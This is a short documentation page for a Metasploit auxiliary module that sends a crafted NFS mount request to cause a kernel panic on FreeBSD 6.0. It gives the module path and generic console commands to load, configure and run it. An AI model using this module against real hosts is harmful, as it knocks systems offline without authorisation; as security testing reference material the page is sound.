FreeBSD Remote NFS RPC Request Denial of Service



This module sends a specially-crafted NFS Mount request causing a kernel panic on host running FreeBSD 6.0.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/dos/freebsd/nfsd/nfsd_mount
msf auxiliary(nfsd_mount) > show actions
msf auxiliary(nfsd_mount) > set ACTION < action-name >
msf auxiliary(nfsd_mount) > show options
    ...show and set options...
msf auxiliary(nfsd_mount) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
